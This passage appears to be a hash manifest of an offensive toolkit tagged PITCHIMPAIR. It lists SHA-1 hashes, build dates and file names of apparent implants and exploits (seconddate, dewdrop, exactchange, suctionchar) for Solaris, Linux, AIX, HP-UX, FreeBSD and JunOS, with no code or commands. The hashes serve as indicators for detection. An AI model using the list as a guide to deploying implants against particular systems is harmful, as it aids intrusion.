crypttool.v1.3.hp-uxb.11.00_v.1.5.0.8 +06305E4020BAF32E937B0070A8B63A95C83D6DBC Thu Jun 28 18:46:32 2007 [PITCHIMPAIR.99] crypttool.v1.3.hp-uxb.11.00_v.2.3.1.3 +06305E4020BAF32E937B0070A8B63A95C83D6DBC Thu Jun 28 18:46:32 2007 [PITCHIMPAIR.99] crypttool.v1.3.hp-uxb.11.00_v.6.0.0.6 +A96A016E7F5D4D26A4C99EEB68FE336AE5B97D28 Wed Jan 2 21:29:08 2008 [PITCHIMPAIR.99] crypttool.v1.3.hp-uxb.11.11_v.1.0.0.11 +A96A016E7F5D4D26A4C99EEB68FE336AE5B97D28 Wed Jan 2 21:29:08 2008 [PITCHIMPAIR.99] crypttool.v1.3.hp-uxb.11.11_v.1.5.0.8 +A96A016E7F5D4D26A4C99EEB68FE336AE5B97D28 Wed Jan 2 21:29:08 2008 [PITCHIMPAIR.99] crypttool.v1.3.hp-uxb.11.11_v.4.1.2.4 +A96A016E7F5D4D26A4C99EEB68FE336AE5B97D28 Wed Jan 2 21:29:08 2008 [PITCHIMPAIR.99] crypttool.v1.3.hp-uxb.11.11_v.6.0.0.6 +829A3CA866565E9E15F9D19F4B2797C32FA9A45F Wed Aug 13 18:03:23 2008 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.10_v.1.5.0.8 +1ED367B049213DE6B1537A82178882C35EE63505 Thu Jul 26 17:27:09 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.8_v.1.1.0.3 +1ED367B049213DE6B1537A82178882C35EE63505 Thu Jul 26 17:27:09 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.8_v.1.1.0.3_solaris8 +1ED367B049213DE6B1537A82178882C35EE63505 Thu Jul 26 17:27:09 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.8_v.1.1.1.1 +1ED367B049213DE6B1537A82178882C35EE63505 Thu Jul 26 17:27:09 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.8_v.1.5.0.8 +1ED367B049213DE6B1537A82178882C35EE63505 Thu Jul 26 17:27:09 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.8_v.2.3.1.3 +1ED367B049213DE6B1537A82178882C35EE63505 Thu Jul 26 17:27:09 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.8_v.2.4.0.2 +1ED367B049213DE6B1537A82178882C35EE63505 Thu Jul 26 17:27:09 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.8_v.4.1.2.4_solaris8 +105C6BCD2DC70BEDFFCD3F18AE337D4C8C63EF51 Thu Jul 26 17:27:49 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.9_v.1.1.0.3 +105C6BCD2DC70BEDFFCD3F18AE337D4C8C63EF51 Thu Jul 26 17:27:49 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.9_v.1.1.0.3_solaris9 +105C6BCD2DC70BEDFFCD3F18AE337D4C8C63EF51 Thu Jul 26 17:27:49 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.9_v.1.1.1.1 +105C6BCD2DC70BEDFFCD3F18AE337D4C8C63EF51 Thu Jul 26 17:27:49 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.9_v.1.5.0.8 +105C6BCD2DC70BEDFFCD3F18AE337D4C8C63EF51 Thu Jul 26 17:27:49 2007 [PITCHIMPAIR.99] crypttool.v1.3.sunos5.9_v.2.4.0.2 +C8F19BB36E491A81BAA0FBAC61B32C6D475114F8 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.99] crypttool.v1.4.sunos5.10_v.1.0.0.4 +C8F19BB36E491A81BAA0FBAC61B32C6D475114F8 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.99] crypttool.v1.4.sunos5.10_v.1.0.1.2 +C8F19BB36E491A81BAA0FBAC61B32C6D475114F8 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.99] crypttool.v1.4.sunos5.10_v.1.1.1.1 +C8F19BB36E491A81BAA0FBAC61B32C6D475114F8 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.99] crypttool.v1.4.sunos5.10_v.solaris_8 +C8F19BB36E491A81BAA0FBAC61B32C6D475114F8 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.99] crypttool.v1.4.sunos5.10_v.solaris_9 +4CD7F7D376662063EDBDC62DB6639228D1EE424C Fri Mar 16 19:20:09 2007 [PITCHIMPAIR.99] crypttool__aix5.1_v.2.2 +D961851A6261BA7305D605AF14DA3578FCD5F02E Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.99] watcher.i386-linux_v.2.6.0.1 +435CBA7D354D81E861858B203AE098781E06F66A Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.99] watcher.i386-linux_v.2.6.1.1 +9F03226CE3304D9E466119FBA48C62ED0FDE2A59 Wed May 20 19:04:07 2009 [PITCHIMPAIR.99] watcher.solaris.sparc_v.2.5.0.1 +AA06986D948A41AA6226F3722D3474049795A7AB Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.99] watcher.sparc-sun-solaris2.6_v.2.6.0.1 +FB2659AC03CB6560699BC1A9568EA9E5CDC665EF Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.99] watcher.sparc-sun-solaris2.6_v.2.6.1.1 +0A424743AD5235A30E61F9B57460B2583B001521 Wed May 20 19:04:07 2009 [PITCHIMPAIR.99] watcher.x86.linux_v.2.5.0.1 +760BD2E63ED9AB29F08A05E8ECBC6FAC0044BE2B Tue Aug 25 20:32:53 2009 [PITCHIMPAIR.99] exactchange +6283CCBED233E36B8192D85C5B81B9EB15224A2E Tue Aug 25 20:32:53 2009 [PITCHIMPAIR.99] exactchange.static +06357D85361603A9E0196B3DB95FC67B7823E4A8 Tue Aug 25 20:32:53 2009 [PITCHIMPAIR.99] exactchange64 +8410511A9A8A6CDC25F255315C8DA81C2E93FD5D Tue Aug 25 20:32:53 2009 [PITCHIMPAIR.99] exactchange64.static +1DB3BB65D2CFEEBA4A17C0DD482C799BF942A934 Wed May 2 16:04:20 2007 [PITCHIMPAIR.99] null_sendpage +C15F14ADBC1984B02FB502419520CEA64586BCC9 Wed May 2 16:04:20 2007 [PITCHIMPAIR.99] null_sendpage_static +C74EF89C5704C5831A8B4CE27B1E8DB1EF0343AD Tue Jan 29 16:16:25 2008 [PITCHIMPAIR.99] exactchange_32 +765238D21474320D166C40344C494AC748AC4C29 Tue Jan 29 16:16:25 2008 [PITCHIMPAIR.99] exactchange_32_static +FD63D6282431D3138EAC5E1E1701E4190DF65E30 Tue Jan 29 16:16:25 2008 [PITCHIMPAIR.99] exactchange_64 +4FDE2E66397363D37AEB70B8BB59041510F992F0 Tue Jan 29 16:16:25 2008 [PITCHIMPAIR.99] exactchange_64_static +D70C97CCC23F2B8C2DD525F27396A779A2CED2EF Thu Jun 4 15:18:02 2009 [PITCHIMPAIR.99] exactchange +8CE3EDAB90157FE185DC06920AC79C9030F0AA2A Thu Jun 4 15:18:02 2009 [PITCHIMPAIR.99] exactchange64 +A110D88CAB874A2E690227ACCE565462ADF4222A Thu Jun 4 15:18:02 2009 [PITCHIMPAIR.99] exactchange64_static +D0C1433D0AB4A19632078280FDCBD29B2ABE0511 Thu Jun 4 15:18:02 2009 [PITCHIMPAIR.99] exactchange_info +28751B6967ED827218B89A139D9F812F8F382E33 Thu Jun 4 15:18:02 2009 [PITCHIMPAIR.99] exactchange_static +4E87F2760B08CE24DB6C956E7CDA617FBDB83B60 Mon Mar 26 20:20:12 2007 [PITCHIMPAIR.99] hci_sendpage +28458EDB6F569BE0B8F6C6FFA51703244A9D9904 Mon Mar 26 20:20:12 2007 [PITCHIMPAIR.99] hci_sendpage_static_2.4 +CC0C084125654F2BA3295FC003960E5FF1FF6876 Mon Mar 26 20:20:12 2007 [PITCHIMPAIR.99] hci_sendpage_static_2.6 +EAD74619DF559194DEE35A65986F55C39F69242B Fri Mar 30 18:55:12 2007 [PITCHIMPAIR.99] orleans_stride.0.0.sunos5.8_v.2.3 +273B21B8083D26A7FDB5FEE8FF14BDD83C42EA5E Thu Jul 26 17:24:14 2007 [PITCHIMPAIR.99] orleans_stride.aix5.1_v.2.4.0.2 +463ACF4048EE06EF599A7846562FEAE49126E071 Tue Nov 25 14:31:56 2008 [PITCHIMPAIR.99] orleans_stride.aix5.1_v.2.5.0.2 +440FE62EA80FE194CFD929FF532FAE0956293100 Fri May 15 14:09:10 2009 [PITCHIMPAIR.99] orleans_stride.aix5.1_v.2.5.1.9 +CD4B7548239CFB08F8B41B94084019C397BFFDF8 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.99] orleans_stride.aix5.1_v.2.5.2.7 +FA594D27FAB89C0B998DE57B73E5554A8FD29FEC Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.99] orleans_stride.aix5.1_v.3.0.0.1 +6D657FC99C06455B95A0708BDD0CAA5A11417196 Thu Jul 26 17:27:20 2007 [PITCHIMPAIR.99] orleans_stride.sunos5.8_v.2.4.0.2 +5F963FFA559A77ED788E2B570DFD990F09784E31 Fri Nov 7 16:57:21 2008 [PITCHIMPAIR.99] orleans_stride.sunos5.8_v.2.5.0.2 +FCACAC213B656BF4CB4457B25196821AFE72F52B Fri May 15 14:09:21 2009 [PITCHIMPAIR.99] orleans_stride.sunos5.8_v.2.5.1.9 +A35CD91D549CEC38278386F2AF099574DB4B3A15 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.99] orleans_stride.sunos5.8_v.2.5.2.7 +71BCE025607C0E3FF776357D186A7A2404B3782D Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.99] orleans_stride.sunos5.8_v.3.0.0.1 +5C989467984793CE941BF06635010EAFD519CAC4 Thu Jul 26 17:28:00 2007 [PITCHIMPAIR.99] orleans_stride.sunos5.9_v.2.4.0.2 +DC2244F1A1012C147884EC9867DD56561B3A4FE2 Fri Oct 13 13:57:22 2006 [PITCHIMPAIR.99] orleans_tride.sunos5.8_v.2.0 +735B1F31083D77AFA2A4EEA1657253BCBE605C67 Fri Mar 16 19:19:54 2007 [PITCHIMPAIR.99] orleans_tride_v2.2_aix5.1_v.2.2 +BE6538D8517710C36A5AFC9638E1951F31B630C1 Thu Apr 19 19:57:29 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.1.1_sparc-sun-solaris +F9B18E174AA1F81EEAC41ED7082E42123C61FAAE Thu Apr 19 19:58:02 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.1.3_i386-pc-solaris +780DC120F8D1F607D33FEA2D1A570C7FCCA9E9FF Fri Jun 13 19:30:15 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.11.1_hppa2.0w-hp-hpux11.11 +05EA72D8A4412C492C6E4DB6D2E3F92E775C35D7 Tue Oct 28 23:56:50 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.12.1_x86-freebsd +4DFB7C721A1E75BAC72104D3301214187823221E Tue Oct 28 23:57:00 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.13.1_sparc64-freebsd +FB8FB1DE5C91CC0202A9F81103CF1A84613F899A Tue Dec 9 01:39:13 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.15.1_sparc-sun-solaris +B2638905587F8E4AF5F3A477354BF567C6FAE574 Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.15.2_x86-linux +86A72C83A3281EC08F345F011265BDA875CD92B9 Sat Dec 13 01:44:35 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.15.3_x86_64-linux +5A26C162B2C815FFC76B256AC10065CDC74F0388 Thu Jun 18 00:12:09 2009 [PITCHIMPAIR.99] dewdrop__v__3.0.16.1_x86-junos-8.5 +B517D296CF2CB19F9831798FC3E53B092FD98AB7 Wed May 2 19:51:30 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.1_sparc-sun-solaris +788105CBA59DBF28140C0A09F186DB36ECC3ECF9 Wed May 2 19:52:04 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.2_x86-linux +C11559ACAADA6004F994198B6DF5C8F62D6CAEB5 Wed May 2 19:52:49 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.3_i386-pc-solaris +3BE3393CC105517078328AC38A32A4411D1BE642 Wed Aug 8 15:44:54 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.2.5_x86-freebsd-6.2 +F2CC59CDACD13C22F66069989E2AE8B7796DCA17 Wed Sep 19 19:27:33 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.6.1_sparc-sun-solaris +99662559FE45AB4CAE0C9BC991FF769D701DAC9F Wed Sep 19 19:07:20 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.6.2_sparc-sun-solaris2.7 +6FA3D17E0EBC71AE4C5E08CDDBAFE844AB668184 Thu Nov 29 01:14:50 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.7.1_sparc-sun-solaris +69CFE0D19C39895EB036274E7DD7488FF9B8D110 Thu Nov 29 01:16:13 2007 [PITCHIMPAIR.99] dewdrop__v__3.0.7.2_x86-freebsd-6.2 +B15717DAEEC06CA9182825FACD68BEC34275B2A4 Fri Feb 8 23:33:11 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.1_x86-linux +C57264F18AA4FF329F52C2B01E71B770DA2E9175 Sat Feb 9 04:38:28 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.2_sparc-sun-solaris +D7677B861FABB6B25F6A4E1197B747C5A3A92DB5 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.3_i386-pc-solaris +80B8C2D9B2AEFAEF8A0E2F2FF084FE03BB31A1F9 Sat Feb 9 05:54:46 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.8.4_sparc-sun-solaris2.7 +E6528C7F3495A861B966CAA31C5F495D28725336 Thu Feb 28 22:10:12 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.9.1_x86_64-linux +252744B1A4D25FE5361AEE75AF04C08DB2AE793B Fri Mar 7 13:03:04 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.9.2_x86-freebsd-6 +AE84CD32B16222D3B5C4881DF93F41C81A6B4BA6 Fri Mar 7 13:16:12 2008 [PITCHIMPAIR.99] dewdrop__v__3.0.9.3_x86-freebsd-5 +528BEA28094CE26260C67021C4DDB2B20A4240A6 Tue Oct 20 17:28:25 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.1.2_x86-junos +A375041904B76D4F4CBC6AF0571E0FCC2C13D95A Mon Oct 26 16:29:35 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.2.6_ia64-hp-hpux11.23 +08036F8D823DBC16AC60A2C889CD1ED48CD3271D Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.1_x86-linux +33BF2790F6233BA5C70AE5B77F1B35AEFC6181BA Fri Oct 30 23:11:51 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.3_sparc-sun-solaris +1367AC303A7FA17D690DF32A37AD5D53117E3F6C Fri Oct 30 23:14:11 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.4_x86-freebsd +D6294AF45746F578460090C51EDE5C81DBB0D7A6 Fri Nov 13 22:08:41 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.5_x86_64-linux +346587E3C14FE50CE7544130AF3B978FDFCB3098 Wed Nov 18 19:55:45 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.6_i386-pc-solaris +4A51A11A433D8D08AA0E470A45799270CC1285A1 Thu Nov 19 20:41:38 2009 [PITCHIMPAIR.99] dewdrop__v__3.1.3.7_sparc-sun-solaris2.7 +D324DD9B6F8806EB9F2F94FBBB486BF69C2A340C Tue Mar 9 22:30:03 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.6.1_x86-linux +F46998FB6C43CE322FD35F649683EE6550702D52 Tue Mar 30 13:50:49 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.7.2_x86_64-linux +B42ED5AAB63EE0EB05735B5AA98D7C80B88D8E91 Thu May 6 16:38:03 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.8.1_x86-linux +7588863567B72C0CC055E8980B214103194981A9 Thu May 6 15:23:15 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.8.2_x86_64-linux +13EA20BBFC3C2874B58A4BAB19EA5702F777A4BB Thu Sep 9 12:41:48 2010 [PITCHIMPAIR.99] dewdrop__v__3.1.8.3_ia64-hp-hpux11.23 +F9B330E391D382E5B5445C42100BFD3EB7FBD714 Fri Sep 3 21:38:44 2010 [PITCHIMPAIR.99] dewdrop__v__3.2.0.1_x86_64-freebsd +FC301328F1D09186953F278AAF94B046BF25950B Wed May 10 18:36:39 2006 [PITCHIMPAIR.99] jackladderhelper +07801277F013F60EDF4FFAFFA27F2D791B2DD821 Mon Jul 3 14:01:20 2006 [PITCHIMPAIR.99] jackladderhelper +FDDFBBF2BB4D107C58E2112E950D5EDB58770AF0 Mon Oct 23 22:29:07 2006 [PITCHIMPAIR.99] opscript.install_hpux_jackladderhelper +7B0CC83079955806688018CE5C470C8E16C19E93 Wed Nov 8 16:20:36 2006 [PITCHIMPAIR.99] jackladderhelper.aix.4.3 +07801277F013F60EDF4FFAFFA27F2D791B2DD821 Fri Dec 14 14:38:45 2007 [PITCHIMPAIR.99] jackladderhelper +FDDFBBF2BB4D107C58E2112E950D5EDB58770AF0 Wed Dec 12 19:26:52 2007 [PITCHIMPAIR.99] opscript.install_hpux_jackladderhelper +3A7887121582BF914B66FE99E37B832544D670D8 Wed Nov 8 16:20:16 2006 [PITCHIMPAIR.99] jackladderhelper.aix.5.1 +4AE26F7FFA2DAA7ABDA4C942AECCA651C317EFE0 Fri Oct 13 17:24:37 2006 [PITCHIMPAIR.99] jlhelper.debian.sparc +E62A2AAA893AF3791F5A9720FA9445B0EF4E9BB8 Thu May 24 16:11:09 2007 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.3.0.1_linux +AAA52F44EC4DF4C39E46E8720CAEC1DCB5B020E4 Fri Apr 11 17:55:39 2008 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.5.1.2_linux +0AC84A07A6EB653E298227E1EF6C5477B21A8415 Tue Jun 24 14:51:43 2008 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.5.1.3_linux +8007331FF7ED3FB82B4E199A53C8538C2581CF14 Wed Aug 13 15:34:55 2008 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.6.2.3_linux +29AF339FD7E7DF2A6D82EFF8880157F34BBE780B Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_i386-linux +668BA26DCD8BD0B44D0368428318BAC1D020E082 Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_i386-solaris +B77AD073025341A7BA913CF5598BE72BF79B13CE Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_sparc-solaris +076D5F4998997C76EF35F3F3D2563AC4AEF01360 Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.1_x86_64-linux +5F6598130C2E01538D6727BA86FEC353058AA2CA Mon May 18 14:29:39 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.2_armv5b-linuxlinux-arm +B87AC0F3DC56BF73E6506A973FDC99EF6080DC48 Mon Jul 6 10:32:44 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.3_trunklien +F3E53431F68CBADA20E90BB47E5313A9EB657E1C Thu Jul 2 18:13:35 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.4_trunklien +FD8867D1D2D279BA6B537B162B6CB7FDF3C39235 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd4 +4A10A3A1F4659659CBD46CD9B5AAFC651C255765 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd5 +AC304B640B4100BA293F51614EF7BF30130B8E42 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd6 +17592D95ED0E5EF929EFF43AEDB687A270AA3CB7 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd7 +2079186EE2F84BF34A4D1DC7AC2BB7FDC84D3901 Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.4-belowtrunklien +58AC63309E23C7E93CB620B6ECBB45FD35C5465C Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.5-abovetrunklien +0342E35FE194C3FD77E99AF7E6869D6725208571 Fri Oct 2 21:53:10 2009 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.6_sparc-solaris +E9048696FFB7BFF67A7E6F32C97764FEBB3B6FA7 Tue May 11 14:03:18 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.7_i386-junos-8.5-abovetrunklien +37A56254BEADB5C711E89B1DAEFB035B738732ED Wed Aug 18 16:44:22 2010 [PITCHIMPAIR.99] seconddate_ImplantStandalone_1.7.0.8_i386-junos-8.5-abovetrunklien +8E196926C024C2957662EDC9A6F474D662D9D7C1 Wed Jan 6 00:24:29 2010 [PITCHIMPAIR.99] suctionchar_configure__v__1.5.17.7_x86-linux-centos-5.4 +66E556BCD0118480EBF8B87107E90FE196254CBB Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.10_sparc-sun-solaris2.9 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.11_x86-linux-centos-4.7 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.12_x86-linux-asianux-1.0 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.13_x86-linux-slackware-10.1 +66E556BCD0118480EBF8B87107E90FE196254CBB Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.14_sparc-sun-solaris2.9 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.15_x86-linux-ubuntu-8.04 +6E9CB697DB527782FEC460C8E9312DB800381E73 Wed Sep 23 19:57:13 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.2_sparc-sun-solaris2.8 +66E556BCD0118480EBF8B87107E90FE196254CBB Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.3_sparc-sun-solaris2.9 +40D2078956B6A9AF6B773E787DE95E78A845110C Wed Sep 23 20:07:19 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.4_sparc-sun-solaris2.10 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.5_x86-linux-suse-enterprise-9 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.7_x86-linux-centos-5.3 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.8_x86-linux-debian-4.0 +BC81320C5C396CE2FE1107DB762AC23990C089DF Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.1.9_x86-linux-centos-5.2 +A654F395A84743BA8BE0EBFE77802C2E7661C16E Tue Oct 13 17:02:57 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.2.4_x86-linux-fedora9 +4C45A34708D190E150FA266A52D37F98EC77C090 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.3.1_x86-linux-debian-5.0 +4C45A34708D190E150FA266A52D37F98EC77C090 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.3.3_x86-linux-fedora8 +AB02E196F6D15720AD21FA63571B0849EFEBB4A5 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.4.3_x86-linux-redhat-7.3 +AB02E196F6D15720AD21FA63571B0849EFEBB4A5 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.4.5_x86-linux-suse-enterprise-9 +18D75E4B6628D8704756B531963E7648EE5B26E6 Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.7.1_x86_64-linux-redhat-enterprise-4.0 +18D75E4B6628D8704756B531963E7648EE5B26E6 Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.7.4_x86_64-linux-redhat-enterprise-5.0 +CA6F9FE16EFD95CFA317F051FA3579F28DFA44A3 Mon Nov 9 23:58:28 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.0.8.1_x86-linux-fedora10 +2FC2D123F91F18314891B78ED1852348775A588E Wed Dec 30 23:01:00 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.11_x86_64-linux-redhat-enterprise-5.0 +E4E35DFC10BF907AF32006D3F18E89ED7E31F51D Wed Dec 30 23:35:45 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.12_x86-linux-fedora10 +A595686340F604C6EDED559BEDC6DF59BF5B5888 Wed Dec 30 23:41:10 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.13_x86-linux-fedora9 +C661CE28FCD943D70F8AE4F01D03EA2356893DDB Wed Dec 30 23:46:41 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.14_x86-linux-fedora8 +C44D8D4005F2D4081E7D955C7BCF5C2564108D4B Wed Dec 30 23:57:16 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.16_x86-linux-debian-4.0 +7FE64B9439034C595E6794C943345E23C33B8209 Thu Dec 31 00:02:37 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.17_x86-linux-debian-5.0 +D0A5DB1584282EB80C0CBC8FD27C631B2E038E43 Thu Dec 31 00:20:02 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.19_x86-linux-suse-enterprise-9 +7B1FB273EEAFAC1E9C2DD9D3471816FED1AC8A61 Fri Jan 8 22:16:55 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.20_x86-linux-asianux-1.0 +6C865E24433BD99B1E294AD35B7932DE4B0FCA5E Fri Jan 8 22:27:23 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.22_x86-linux-slackware-10.1 +8CB90034B3B57639CA0E26947BB72E5DC91B209B Fri Jan 8 22:38:48 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.23_x86-linux-slackware-11.0 +0CAAC47EF6A218C184DDBFCB4C62A69FDA99E161 Fri Jan 8 21:30:21 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.25_x86-linux-suse-10.1 +DF9F3281E99F4A32CF5C86475AF66AEE4AF26A66 Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.26_x86_64-linux-centos-5.1 +A624F070A75A82D533AAD13FD1C53499F476DB77 Fri Jan 8 21:37:57 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.27_x86-linux-suse-10.2 +DF9F3281E99F4A32CF5C86475AF66AEE4AF26A66 Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.28_x86_64-linux-redhat-enterprise-5.0 +CD89BE42BE27DAFBD3C6AF84343E4C0C6CD2AF26 Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.29_x86_64-linux-centos-5.2 +E408CD6BBB241D6BF6CC94BD0CD582EFAC5D3060 Wed Dec 30 22:12:48 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.2_sparc-sun-solaris2.8 +9477890D5298262A003EBAA542E812BD7F67674E Wed Jan 20 23:08:55 2010 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.30_x86-linux-suse-9.3 +97566F97B275491B6F215BE6BF5CF093458137AE Wed Dec 30 22:18:10 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.3_sparc-sun-solaris2.9 +B4C6D6C7AE0773400A869853807AD1D36AFBF55D Wed Dec 30 22:27:08 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.5_x86-linux-centos-4.7 +C0E65BCACC1E41574791427F5277EDF843D7E29F Wed Dec 30 22:32:50 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.6_x86-linux-centos-5.2 +A91C0093CF1FE38DF9703B03FBB1666E467FEF6A Wed Dec 30 22:37:25 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.7_x86-linux-centos-5.3 +CD89BE42BE27DAFBD3C6AF84343E4C0C6CD2AF26 Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.99] suctionchar_configure__v__3.1.0.8_x86_64-linux-centos-5.2 +F70E0CF30560B811A1344CA2AFC3ABC249934C1C Wed Dec 30 22:48:05 